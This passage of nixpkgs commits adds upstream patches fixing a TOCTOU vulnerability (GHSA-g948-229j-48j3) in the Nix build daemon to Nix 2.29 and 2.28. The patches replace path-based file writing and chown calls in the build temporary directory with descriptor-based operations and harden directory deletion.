       nix_2_29 = addTests "nix_2_29" self.nixComponents_2_29.nix-everything;
 
diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch
new file mode 100644
index 000000000000..265c2580cfe7
--- /dev/null
+++ b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch
@@ -0,0 +1,449 @@
+From 01619fbe2dc06b79609b95b6f95ddbf4e871e762 Mon Sep 17 00:00:00 2001
+From: Eelco Dolstra <edolstra@gmail.com>
+Date: Thu, 19 Jun 2025 16:20:34 +0200
+Subject: [PATCH] Fixes for GHSA-g948-229j-48j3
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Squashed commit of the following:
+
+commit 04fff3a637d455cbb1d75937a235950e43008db9
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 12:30:32 2025 +0200
+
+    Chown structured attr files safely
+
+commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 12:14:04 2025 +0200
+
+    Replace 'bool sync' with an enum for clarity
+
+    And drop writeFileAndSync().
+
+commit 7ae0141f328d8e8e1094be24665789c05f974ba6
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 11:35:28 2025 +0200
+
+    Drop guessOrInventPathFromFD()
+
+    No need to do hacky stuff like that when we already know the original path.
+
+commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 11:15:58 2025 +0200
+
+    Tweak comment
+
+commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Thu Mar 27 12:22:26 2025 +0100
+
+    libstore: ensure that temporary directory is always 0o000 before deletion
+
+    In the case the deletion fails, we should ensure that the temporary
+    directory cannot be used for nefarious purposes.
+
+    Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 12:42:55 2025 +0100
+
+    libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds
+
+    When calling `_deletePath` with a parent file descriptor, `openat` is
+    made effective by using relative paths to the directory file descriptor.
+
+    To avoid the problem, the signature is changed to resist misuse with an
+    assert in the prologue of the function.
+
+    Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:07:47 2025 +0100
+
+    libstore: ensure that `passAsFile` is created in the original temp dir
+
+    This ensures that `passAsFile` data is created inside the expected
+    temporary build directory by `openat()` from the parent directory file
+    descriptor.
+
+    This avoids a TOCTOU which is part of the attack chain of CVE-????.
+
+    Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:06:03 2025 +0100
+
+    libutil: writeFile variant for file descriptors
+
+    `writeFile` lose its `sync` boolean flag to make things simpler.
+
+    A new `writeFileAndSync` function is created and all call sites are
+    converted to it.
+
+    Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 732bd9b98cabf4aaf95a01fd318923de303f9996
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:05:34 2025 +0100
+
+    libstore: chown to builder variant for file descriptors
+
+    We use it immediately for the build temporary directory.
+
+    Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 962c65f8dcd5570dd92c72370a862c7b38942e0d
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:04:59 2025 +0100
+
+    libstore: open build directory as a dirfd as well
+
+    We now keep around a proper AutoCloseFD around the temporary directory
+    which we plan to use for openat operations and avoiding the build
+    directory being swapped out while we are doing something else.
+
+    Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit c9b42462b75b5a37ee6564c2b53cff186c8323da
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:04:12 2025 +0100
+
+    libutil: guess or invent a path from file descriptors
+
+    This is useful for certain error recovery paths (no pun intended) that
+    does not thread through the original path name.
+
+    Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ src/libstore/local-store.cc                   |  4 +-
+ src/libstore/unix/build/derivation-builder.cc | 66 ++++++++++++++++---
+ src/libutil/file-content-address.cc           |  2 +-
+ src/libutil/file-system.cc                    | 47 +++++++------
+ src/libutil/include/nix/util/file-system.hh   | 14 ++--
+ 5 files changed, 98 insertions(+), 35 deletions(-)
+
+diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
+index 76fadba86..1ab3ed13a 100644
+--- a/src/libstore/local-store.cc
++++ b/src/libstore/local-store.cc
+@@ -247,7 +247,7 @@ LocalStore::LocalStore(ref<const Config> config)
+     else if (curSchema == 0) { /* new store */
+         curSchema = nixSchemaVersion;
+         openDB(*state, true);
+-        writeFile(schemaPath, fmt("%1%", curSchema), 0666, true);
++        writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes);
+     }
+ 
+     else if (curSchema < nixSchemaVersion) {
+@@ -298,7 +298,7 @@ LocalStore::LocalStore(ref<const Config> config)
+             txn.commit();
+         }
+ 
+-        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
++        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes);
+ 
+         lockFile(globalLock.get(), ltRead, true);
+     }
+diff --git a/src/libstore/unix/build/derivation-builder.cc b/src/libstore/unix/build/derivation-builder.cc
+index 58e8d8ba6..856bc81c3 100644
+--- a/src/libstore/unix/build/derivation-builder.cc
++++ b/src/libstore/unix/build/derivation-builder.cc
+@@ -129,6 +129,11 @@ private:
+      */
+     Path topTmpDir;
+ 
++    /**
++     * The file descriptor of the temporary directory.
++     */
++    AutoCloseFD tmpDirFd;
++
+     /**
+      * The path of the temporary directory in the sandbox.
+      */
+@@ -325,9 +330,24 @@ private:
+ 
+     /**
+      * Make a file owned by the builder.
++     *
++     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
++     * It's only safe to call in a child of a directory only visible to the owner.
+      */
+     void chownToBuilder(const Path & path);
+ 
++    /**
++     * Make a file owned by the builder addressed by its file descriptor.
++     */
++    void chownToBuilder(int fd, const Path & path);
++
++    /**
++     * Create a file in `tmpDir` owned by the builder.
++     */
++    void writeBuilderFile(
++        const std::string & name,
++        std::string_view contents);
++
+     /**
+      * Run the builder's process.
+      */
+@@ -895,7 +915,14 @@ void DerivationBuilderImpl::startBuilder()
+     } else {
+         tmpDir = topTmpDir;
+     }
+-    chownToBuilder(tmpDir);
++
++    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
++       POSIX semantics.*/
++    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
++    if (!tmpDirFd)
++        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
++
++    chownToBuilder(tmpDirFd.get(), tmpDir);
+ 
+     for (auto & [outputName, status] : initialOutputs) {
+         /* Set scratch path we'll actually use during the build.
+@@ -1469,9 +1496,7 @@ void DerivationBuilderImpl::initTmpDir()
+             } else {
+                 auto hash = hashString(HashAlgorithm::SHA256, i.first);
+                 std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false);
+-                Path p = tmpDir + "/" + fn;
+-                writeFile(p, rewriteStrings(i.second, inputRewrites));
+-                chownToBuilder(p);
++                writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites));
+                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
+             }
+         }
+@@ -1580,11 +1605,9 @@ void DerivationBuilderImpl::writeStructuredAttrs()
+ 
+         auto jsonSh = StructuredAttrs::writeShell(json);
+ 
+-        writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
+-        chownToBuilder(tmpDir + "/.attrs.sh");
++        writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites));
+         env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
+-        writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
+-        chownToBuilder(tmpDir + "/.attrs.json");
++        writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites));
+         env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
+     }
+ }
+@@ -1838,6 +1861,24 @@ void setupSeccomp()
+ #endif
+ }
+ 
++void DerivationBuilderImpl::chownToBuilder(int fd, const Path & path)
++{
++    if (!buildUser) return;
++    if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1)
++        throw SysError("cannot change ownership of file '%1%'", path);
++}
++
++void DerivationBuilderImpl::writeBuilderFile(
++    const std::string & name,
++    std::string_view contents)
++{
++    auto path = std::filesystem::path(tmpDir) / name;
++    AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
++    if (!fd)
++        throw SysError("creating file %s", path);
++    writeFile(fd, path, contents);
++    chownToBuilder(fd.get(), path);
++}
+ 
+ void DerivationBuilderImpl::runChild()
+ {
+@@ -3043,6 +3084,15 @@ void DerivationBuilderImpl::checkOutputs(const std::map<std::string, ValidPathIn
+ void DerivationBuilderImpl::deleteTmpDir(bool force)
+ {
+     if (topTmpDir != "") {
++        /* As an extra precaution, even in the event of `deletePath` failing to
++         * clean up, the `tmpDir` will be chowned as if we were to move
++         * it inside the Nix store.
++         *
++         * This hardens against an attack which smuggles a file descriptor
++         * to make use of the temporary directory.
++         */
++        chmod(topTmpDir.c_str(), 0000);
++
+         /* Don't keep temporary directories for builtins because they
+            might have privileged stuff (like a copy of netrc). */
+         if (settings.keepFailed && !force && !drv.isBuiltin()) {
+diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
+index 142bc70d5..d95781691 100644
+--- a/src/libutil/file-content-address.cc
++++ b/src/libutil/file-content-address.cc
+@@ -93,7 +93,7 @@ void restorePath(
+ {
+     switch (method) {
+     case FileSerialisationMethod::Flat:
+-        writeFile(path, source, 0666, startFsync);
++        writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No);
+         break;
+     case FileSerialisationMethod::NixArchive:
+         restorePath(path, source, startFsync);
+diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
+index 90ec5eda5..aeee49e9b 100644
+--- a/src/libutil/file-system.cc
++++ b/src/libutil/file-system.cc
+@@ -303,7 +303,7 @@ void readFile(const Path & path, Sink & sink, bool memory_map)
+ }
+ 
+ 
+-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
++void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync)
+ {
+     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
+ // TODO
+@@ -313,22 +313,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
+        , mode));
+     if (!fd)
+         throw SysError("opening file '%1%'", path);
++
++    writeFile(fd, path, s, mode, sync);
++
++    /* Close explicitly to propagate the exceptions. */
++    fd.close();
++}
++
++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync)
++{
++    assert(fd);
+     try {
+         writeFull(fd.get(), s);
++
++        if (sync == FsSync::Yes)
++            fd.fsync();
++
+     } catch (Error & e) {
+-        e.addTrace({}, "writing file '%1%'", path);
++        e.addTrace({}, "writing file '%1%'", origPath);
+         throw;
+     }
+-    if (sync)
+-        fd.fsync();
+-    // Explicitly close to make sure exceptions are propagated.
+-    fd.close();
+-    if (sync)
+-        syncParent(path);
+ }
+ 
+-
+-void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
++void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync)
+ {
+     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
+ // TODO
+@@ -352,11 +359,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
+         e.addTrace({}, "writing file '%1%'", path);
+         throw;
+     }
+-    if (sync)
++    if (sync == FsSync::Yes)
+         fd.fsync();
+     // Explicitly close to make sure exceptions are propagated.
+     fd.close();
+-    if (sync)
++    if (sync == FsSync::Yes)
+         syncParent(path);
+ }
+ 
+@@ -419,7 +426,8 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path,
+ #ifndef _WIN32
+     checkInterrupt();
+ 
+-    std::string name(baseNameOf(path.native()));
++    std::string name(path.filename());
++    assert(name != "." && name != ".." && !name.empty());
+ 
+     struct stat st;
+     if (fstatat(parentfd, name.c_str(), &st,
+@@ -460,7 +468,7 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path,
+                 throw SysError("chmod %1%", path);
+         }
+ 
+-        int fd = openat(parentfd, path.c_str(), O_RDONLY);
++        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
+         if (fd == -1)
+             throw SysError("opening directory %1%", path);
+         AutoCloseDir dir(fdopendir(fd));
+@@ -472,7 +480,7 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path,
+             checkInterrupt();
+             std::string childName = dirent->d_name;
+             if (childName == "." || childName == "..") continue;
+-            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
++            _deletePath(dirfd(dir.get()), path / childName, bytesFreed);
+         }
+         if (errno) throw SysError("reading directory %1%", path);
+     }
+@@ -490,14 +498,13 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path,
+ 
+ static void _deletePath(const std::filesystem::path & path, uint64_t & bytesFreed)
+ {
+-    Path dir = dirOf(path.string());
+-    if (dir == "")
+-        dir = "/";
++    assert(path.is_absolute());
++    assert(path.parent_path() != path);
+ 
+-    AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY));
++    AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY));
+     if (!dirfd) {
+         if (errno == ENOENT) return;
+-        throw SysError("opening directory '%1%'", path);
++        throw SysError("opening directory %s", path.parent_path());
+     }
+ 
+     _deletePath(dirfd.get(), path, bytesFreed);
+diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh
+index b8fa4cfa0..a9a6e43bf 100644
+--- a/src/libutil/include/nix/util/file-system.hh
++++ b/src/libutil/include/nix/util/file-system.hh
+@@ -175,21 +175,27 @@ std::string readFile(const Path & path);
+ std::string readFile(const std::filesystem::path & path);
+ void readFile(const Path & path, Sink & sink, bool memory_map = true);
+ 
++enum struct FsSync { Yes, No };
++
+ /**
+  * Write a string to a file.
+  */
+-void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
+-static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false)
++void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
++
++static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No)
+ {
+     return writeFile(path.string(), s, mode, sync);
+ }
+ 
+-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
+-static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false)
++void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No);
++
++static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No)
+ {
+     return writeFile(path.string(), source, mode, sync);
+ }
+ 
++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
++
+ /**
+  * Flush a path's parent directory to disk.
+  */
+-- 
+2.44.1
+

From 7db909a8c85535c9273651463332a5883c763d42 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Sun, 22 Jun 2025 18:51:23 +0200
Subject: [PATCH 1503/4511] nix_2_28: add patch for GHSA-g948-229j-48j3

This addresses a TOCTOU (Time-of-Check to Time-of-Use) vulnerability in Nix's
build system that could potentially allow privilege escalation or unauthorized
file access during the build process.

The patch includes:
- Safe file operations using file descriptors
- Secure temporary directory handling
- Safe chown operations
- PassAsFile security improvements
- Path validation fixes

(cherry picked from commit a1eacc0a2ce4a4de3c7fd523ddb26c2d95a01fd1)
---
 pkgs/tools/package-management/nix/default.nix |   1 +
 .../patches/ghsa-g948-229j-48j3-2.28.patch    | 454 ++++++++++++++++++
 2 files changed, 455 insertions(+)
 create mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index a944415b0c46..2069f0658b26 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -183,6 +183,7 @@ lib.makeExtensible (
       nix_2_28 = commonMeson {
         version = "2.28.3";
         hash = "sha256-TjZp5ITSUvNRAzNznmkZRQxNRzMLiSAplz4bV2T8cbs=";
+        patches = [ ./patches/ghsa-g948-229j-48j3-2.28.patch ];
         self_attribute_name = "nix_2_28";
       };
 
diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch
new file mode 100644
index 000000000000..7de531128279
--- /dev/null
+++ b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch
@@ -0,0 +1,454 @@
+From 24c1aa735a40d3bf5361755fa10ac0e577a55eed Mon Sep 17 00:00:00 2001
+From: Eelco Dolstra <edolstra@gmail.com>
+Date: Thu, 19 Jun 2025 16:20:34 +0200
+Subject: [PATCH] Fixes for GHSA-g948-229j-48j3
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Squashed commit of the following:
+
+commit 04fff3a637d455cbb1d75937a235950e43008db9
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 12:30:32 2025 +0200
+
+    Chown structured attr files safely
+
+commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 12:14:04 2025 +0200
+
+    Replace 'bool sync' with an enum for clarity
+
+    And drop writeFileAndSync().
+
+commit 7ae0141f328d8e8e1094be24665789c05f974ba6
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 11:35:28 2025 +0200
+
+    Drop guessOrInventPathFromFD()
+
+    No need to do hacky stuff like that when we already know the original path.
+
+commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 11:15:58 2025 +0200
+
+    Tweak comment
+
+commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Thu Mar 27 12:22:26 2025 +0100
+
+    libstore: ensure that temporary directory is always 0o000 before deletion
+
+    In the case the deletion fails, we should ensure that the temporary
+    directory cannot be used for nefarious purposes.
+
+    Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 12:42:55 2025 +0100
+
+    libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds
+
+    When calling `_deletePath` with a parent file descriptor, `openat` is
+    made effective by using relative paths to the directory file descriptor.
+
+    To avoid the problem, the signature is changed to resist misuse with an
+    assert in the prologue of the function.
+
+    Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:07:47 2025 +0100
+
+    libstore: ensure that `passAsFile` is created in the original temp dir
+
+    This ensures that `passAsFile` data is created inside the expected
+    temporary build directory by `openat()` from the parent directory file
+    descriptor.
+
+    This avoids a TOCTOU which is part of the attack chain of CVE-????.
+
+    Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:06:03 2025 +0100
+
+    libutil: writeFile variant for file descriptors
+
+    `writeFile` lose its `sync` boolean flag to make things simpler.
+
+    A new `writeFileAndSync` function is created and all call sites are
+    converted to it.
+
+    Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 732bd9b98cabf4aaf95a01fd318923de303f9996
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:05:34 2025 +0100
+
+    libstore: chown to builder variant for file descriptors
+
+    We use it immediately for the build temporary directory.
+
+    Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 962c65f8dcd5570dd92c72370a862c7b38942e0d
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:04:59 2025 +0100
+
+    libstore: open build directory as a dirfd as well
+
+    We now keep around a proper AutoCloseFD around the temporary directory
+    which we plan to use for openat operations and avoiding the build
+    directory being swapped out while we are doing something else.
+
+    Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit c9b42462b75b5a37ee6564c2b53cff186c8323da
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:04:12 2025 +0100
+
+    libutil: guess or invent a path from file descriptors
+
+    This is useful for certain error recovery paths (no pun intended) that
+    does not thread through the original path name.
+
+    Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ src/libstore/local-store.cc                   |  4 +-
+ .../unix/build/local-derivation-goal.cc       | 46 ++++++++++++++----
+ .../nix/store/build/local-derivation-goal.hh  | 20 ++++++++
+ src/libutil/file-content-address.cc           |  2 +-
+ src/libutil/file-system.cc                    | 47 +++++++++++--------
+ src/libutil/include/nix/util/file-system.hh   | 14 ++++--
+ 6 files changed, 98 insertions(+), 35 deletions(-)
+
+diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
+index f3bee6953..eddc87ef9 100644
+--- a/src/libstore/local-store.cc
++++ b/src/libstore/local-store.cc
+@@ -249,7 +249,7 @@ LocalStore::LocalStore(
+     else if (curSchema == 0) { /* new store */
+         curSchema = nixSchemaVersion;
+         openDB(*state, true);
+-        writeFile(schemaPath, fmt("%1%", curSchema), 0666, true);
++        writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes);
+     }
+ 
+     else if (curSchema < nixSchemaVersion) {
+@@ -300,7 +300,7 @@ LocalStore::LocalStore(
+             txn.commit();
+         }
+ 
+-        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
++        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes);
+ 
+         lockFile(globalLock.get(), ltRead, true);
+     }
+diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
+index 9edb6fb0f..a0442d0b8 100644
+--- a/src/libstore/unix/build/local-derivation-goal.cc
++++ b/src/libstore/unix/build/local-derivation-goal.cc
+@@ -567,7 +567,14 @@ void LocalDerivationGoal::startBuilder()
+     } else {
+         tmpDir = topTmpDir;
+     }
+-    chownToBuilder(tmpDir);
++
++    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
++       POSIX semantics.*/
++    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
++    if (!tmpDirFd)
++        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
++
++    chownToBuilder(tmpDirFd.get(), tmpDir);
+ 
+     for (auto & [outputName, status] : initialOutputs) {
+         /* Set scratch path we'll actually use during the build.
+@@ -1159,9 +1166,7 @@ void LocalDerivationGoal::initTmpDir()
+             } else {
+                 auto hash = hashString(HashAlgorithm::SHA256, i.first);
+                 std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false);
+-                Path p = tmpDir + "/" + fn;
+-                writeFile(p, rewriteStrings(i.second, inputRewrites));
+-                chownToBuilder(p);
++                writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites));
+                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
+             }
+         }
+@@ -1266,11 +1271,9 @@ void LocalDerivationGoal::writeStructuredAttrs()
+ 
+         auto jsonSh = writeStructuredAttrsShell(json);
+ 
+-        writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
+-        chownToBuilder(tmpDir + "/.attrs.sh");
++        writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites));
+         env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
+-        writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
+-        chownToBuilder(tmpDir + "/.attrs.json");
++        writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites));
+         env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
+     }
+ }
+@@ -1781,6 +1784,24 @@ void setupSeccomp()
+ #endif
+ }
+ 
++void LocalDerivationGoal::chownToBuilder(int fd, const Path & path)
++{
++    if (!buildUser) return;
++    if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1)
++        throw SysError("cannot change ownership of file '%1%'", path);
++}
++
++void LocalDerivationGoal::writeBuilderFile(
++    const std::string & name,
++    std::string_view contents)
++{
++    auto path = std::filesystem::path(tmpDir) / name;
++    AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
++    if (!fd)
++        throw SysError("creating file %s", path);
++    writeFile(fd, path, contents);
++    chownToBuilder(fd.get(), path);
++}
+ 
+ void LocalDerivationGoal::runChild()
+ {
+@@ -3000,6 +3021,15 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
+ void LocalDerivationGoal::deleteTmpDir(bool force)
+ {
+     if (topTmpDir != "") {
++        /* As an extra precaution, even in the event of `deletePath` failing to
++         * clean up, the `tmpDir` will be chowned as if we were to move
++         * it inside the Nix store.
++         *
++         * This hardens against an attack which smuggles a file descriptor
++         * to make use of the temporary directory.
++         */
++        chmod(topTmpDir.c_str(), 0000);
++
+         /* Don't keep temporary directories for builtins because they
+            might have privileged stuff (like a copy of netrc). */
+         if (settings.keepFailed && !force && !drv->isBuiltin()) {
+diff --git a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh
+index 795286a01..fb62e3ca4 100644
+--- a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh
++++ b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh
+@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal
+      */
+     Path topTmpDir;
+ 
++    /**
++     * The file descriptor of the temporary directory.
++     */
++    AutoCloseFD tmpDirFd;
++
+     /**
+      * The path of the temporary directory in the sandbox.
+      */
+@@ -239,9 +244,24 @@ struct LocalDerivationGoal : public DerivationGoal
+ 
+     /**
+      * Make a file owned by the builder.
++     *
++     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
++     * It's only safe to call in a child of a directory only visible to the owner.
+      */
+     void chownToBuilder(const Path & path);
+ 
++    /**
++     * Make a file owned by the builder addressed by its file descriptor.
++     */
++    void chownToBuilder(int fd, const Path & path);
++
++    /**
++     * Create a file in `tmpDir` owned by the builder.
++     */
++    void writeBuilderFile(
++        const std::string & name,
++        std::string_view contents);
++
+     int getChildStatus() override;
+ 
+     /**
+diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
+index 142bc70d5..d95781691 100644
+--- a/src/libutil/file-content-address.cc
++++ b/src/libutil/file-content-address.cc
+@@ -93,7 +93,7 @@ void restorePath(
+ {
+     switch (method) {
+     case FileSerialisationMethod::Flat:
+-        writeFile(path, source, 0666, startFsync);
++        writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No);
+         break;
